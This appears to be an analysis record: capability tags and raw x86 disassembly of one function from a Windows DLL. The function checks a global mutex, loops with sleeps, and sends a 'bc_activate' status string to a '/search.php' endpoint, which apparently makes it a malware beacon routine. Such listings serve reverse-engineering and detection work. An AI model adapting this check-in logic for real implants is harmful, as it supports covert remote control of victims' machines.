Function at 0x10007e00
Capabilities:
Delete file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
push ebx
push esi
push edi
xor edi, edi
push 0x10057304
mov dword [esp + 0x18], edi
call fcn.10007890
push 0x10057408
mov dword [0x100540ac], eax
call fcn.10007890
mov ecx, dword [0x100540ac]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100541bc], eax
cmp ecx, edi
jne 0x10007eb0
cmp eax, edi
jne 0x10007eb0
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push 0x100000
call edi
mov esi, eax
test esi, esi
jne 0x10007e78
push 0x64
call ebx
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10007e60
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [esp + 0x10], 0
test esi, esi
je 0x10007ea9
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10007ea9
test byte [esp + 0x10], 2
jne 0x10007ea9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
jmp 0x10007f08
mov esi, ecx
test ecx, ecx
je 0x10007edf
push ecx
mov ecx, dword [0x10054278]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10007eda
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x100541bc]
mov esi, eax
test eax, eax
je 0x10007f08
push eax
mov eax, dword [0x10054278]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10007f08
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [0x10055ae0], 1
call fcn.1000f5d0
test eax, eax
jne 0x10007f30
jmp 0x10007f20
push 0x1f4
call ebx
call fcn.1000f5d0
test eax, eax
je 0x10007f20
push 0x10057304
call fcn.10007890
push 0x10057408
mov dword [0x100540ac], eax
call fcn.10007890
mov ecx, eax
mov eax, dword [0x100540ac]
mov dword [0x100541bc], ecx
test eax, eax
je 0x1000812f
test ecx, ecx
je 0x10008105
call fcn.10007d60
xor esi, esi
lea ecx, [ecx]
mov edx, dword [0x100541bc]
push edx
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
call fcn.1000f6e0
test eax, eax
jne 0x10007f93
push 0x64
call ebx
inc esi
cmp esi, 0x64
jl 0x10007f70
jmp 0x10007f9b
mov dword [esp + 0x14], 1
test edi, edi
je 0x100080be
cmp dword [esp + 0x14], 0
je 0x100080be
mov eax, dword [str.hid]
mov cl, byte [0x1004783c]
mov dword [esp + 0x18], eax
mov eax, 0x10055658
mov byte [esp + 0x1c], cl
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10007fc8
lea edi, [esp + 0x18]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10007fd6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10007ff3
mov ecx, 7
mov esi, str.commandbc_activatestatusok
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [esp + 0x228]
push edx
push 0x104
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x120]
push eax
push 0
push 0
lea ecx, [esp + 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [esp + 0x18]
lea ecx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10008040
sub eax, ecx
mov esi, eax
call fcn.1000f0c0
push 0
push 1
push esi
mov edi, eax
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x130]
push eax
push str._search.php
push edi
push 0
call fcn.1000f160
test eax, eax
jne 0x1000809e
push eax
push 1
push esi
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x130]
push edx
push str._search.php
push edi
push 1
call fcn.1000f160
test eax, eax
jne 0x1000809e
push 1
call fcn.10006e70
push 0
lea eax, [esp + 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edi, edi
mov edx, dword [0x100541bc]
mov esi, dword [sym.imp.SHLWAPI.dll_StrToIntA]
push edx
call esi
push eax
call fcn.1000f6e0
test eax, eax
je 0x100080ed
push 0x64
call ebx
mov eax, dword [0x100541bc]
push eax
call esi
push eax
call fcn.1000f6e0
test eax, eax
jne 0x100080d7
cmp dword [0x10055ae0], 0
je 0x10008100
mov eax, dword [0x10055ae4]
call fcn.1002507a
mov eax, dword [0x100540ac]
test eax, eax
je 0x1000812f
mov ecx, dword [0x10054278]
push eax
push 0
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000812f
mov edx, dword [0x10054278]
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [0x100541bc]
test esi, esi
je 0x1000815c
mov eax, dword [0x10054278]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1000815c
mov ecx, dword [0x10054278]
push esi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0xfa0
call ebx
cmp dword [0x10055ae0], 0
jne 0x10007f12
call fcn.10007e00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret